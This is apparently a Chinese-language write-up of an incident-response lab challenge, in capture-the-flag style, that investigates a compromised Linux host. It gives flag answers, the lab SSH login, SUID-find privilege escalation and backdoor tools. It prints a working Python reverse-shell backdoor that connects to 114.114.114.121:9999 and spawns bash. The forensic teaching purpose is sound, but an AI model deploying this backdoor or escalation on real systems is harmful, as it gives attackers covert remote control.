1 2 3 4 5 6
| ssh root@env.xj.edisec.net -p 密码 xjqxwcyc 1.黑客隐藏的隐藏的文件 完整路径md5 2.黑客隐藏的文件反弹shell的ip+端口 {ip:port} 3.黑客提权所用的命令 完整路径的md5 flag{md5} 4.黑客尝试注入恶意代码的工具完整路径md5 5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
|
1.黑客隐藏的隐藏的文件 完整路径md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| // 查找隐藏文件 root@xuanji:~# find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/" /etc/.pwd.lock /etc/cron.d/.placeholder /etc/cron.daily/.placeholder /etc/cron.hourly/.placeholder /etc/cron.monthly/.placeholder /etc/cron.weekly/.placeholder /etc/init.d/.legacy-bootordering /etc/skel/.bash_logout /etc/skel/.bashrc /etc/skel/.profile /etc/mysql/conf.d/.keepme /home/ctf/.bash_logout /home/ctf/.bashrc /home/ctf/.profile /home/ctf/.bash_history /root/.bashrc /root/.profile /root/.bash_history /root/.viminfo /tmp/.temp/libprocesshider/.gitignore /.dockerenv root@xuanji:~# // 查找隐藏目录 root@xuanji:~# find / -type d -name ".*" 2>/dev/null /opt/.cymothoa-1-beta /root/.ssh /root/.cache /run/secrets/kubernetes.io/serviceaccount/..2024_04_28_01_02_46.320319011 /tmp/.temp /tmp/.temp/libprocesshider/.git /usr/share/php/.registry
|
百度可以得到 libprocesshider 是用于隐藏文件的项目 在/tmp/.temp/libprocesshider/
下找只有1.py拥有执行权限
对这个目录文件 /tmp/.temp/libprocesshider/1.py
加密
答案:flag{109ccb5768c70638e24fb46ee7957e37}
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
查看1.py的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
import socket,subprocess,os,sys, time
pidrg = os.fork() if pidrg > 0: sys.exit(0)
os.chdir("/") os.setsid() os.umask(0) drgpid = os.fork() if drgpid > 0: sys.exit(0)
while 1: try: sys.stdout.flush() sys.stderr.flush() fdreg = open("/dev/null", "w") sys.stdout = fdreg sys.stderr = fdreg sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sdregs.connect(("114.114.114.121",9999)) os.dup2(sdregs.fileno(),0) os.dup2(sdregs.fileno(),1) os.dup2(sdregs.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) sdregs.close() except Exception: pass time.sleep(2)
这段代码是一个Python脚本,其主要目的是在受害者的机器上建立一个反向shell,以实现与攻击者服务器(IP地址为"114.114.114.121",端口为9999)的隐蔽通信。下面是对代码各部分功能的详细解释:
1. **导入所需模块**: - `socket`:用于网络编程,创建客户端与服务器之间的连接。 - `subprocess`:用于生成新的进程,如在本例中启动一个新的bash shell。 - `os`:提供了与操作系统交互的各种功能,如进程管理、文件操作等。 - `sys`:提供访问和控制Python解释器的一些功能。 - `time`:用于时间相关的操作,如延时。
2. **fork()调用**: - 连续进行了两次`os.fork()`调用,实现从父进程到子进程再孙子进程的转变,并在每次调用后通过判断返回值决定是否退出当前进程。这一系列操作是为了将程序转为一个无终端的后台进程(daemon化),使其在后台持续运行且不易被直接观察到。
3. **环境设置**: - `os.chdir("/")`:改变当前工作目录到根目录。 - `os.setsid()`:创建一个新的会话,并成为该会话的首进程,进一步脱离与终端的关联。 - `os.umask(0)`:设置文件权限掩码为0,确保后续创建的文件或目录具有最宽松的权限。
4. **无限循环及异常处理**: - `while 1:`表示一个无限循环,确保连接失败后能不断尝试重新建立。 - 在循环内部,首先刷新标准输出和错误缓冲区,并将它们重定向到`/dev/null`,以消除可能的日志记录或屏幕输出。 - 使用`socket`模块创建TCP连接到指定的攻击者服务器地址和端口。 - 接着,通过`os.dup2()`三次调用,将标准输入(0)、标准输出(1)、标准错误(2)都重定向到刚建立的socket连接上,实现与远程服务器的双向通信。 - 使用`subprocess.call`启动一个交互式的bash shell (`/bin/bash -i`),使得攻击者可以通过此socket连接发送命令并接收输出。 - 如果连接或命令执行过程中出现异常,则捕获并忽略它,然后等待2秒后继续尝试。
此脚本是一个典型的后门程序
|
答案:flag{114.114.114.121:9999}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
find / -type f -perm -4000 2>/dev/null
看一下哪些命令设置了suid的权限
切换到ctf用户尝试哪一条命令可以提权成功
find可以提权成功
答案: flag{7fd5884f493f4aaf96abee286ee04120}
4.黑客尝试注入恶意代码的工具完整路径md5
继续回到之前使用find查找隐藏目录/opt/.cymothoa-1-beta
百度可以得到cymothoa-1-beta
是一个后门隐藏的工具
https://www.cnblogs.com/-qing-/p/10519363.html
https://www.aldeid.com/wiki/Cymothoa
https://www.cnblogs.com/-qing-/p/10519363.html
对该工具的完整路径 /opt/.cymothoa-1-beta/cymothoa
加密
答案:flag{087c267368ece4fcf422ff733b51aed9}
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
python3 /tmp/.temp/libprocesshider/1.py
执行完成后,查看网络连接
根据PID查找程序 cat /proc/12523/cmdLine
需要提供完整的执行程序
答案:flag{/usr/bin/python3.4}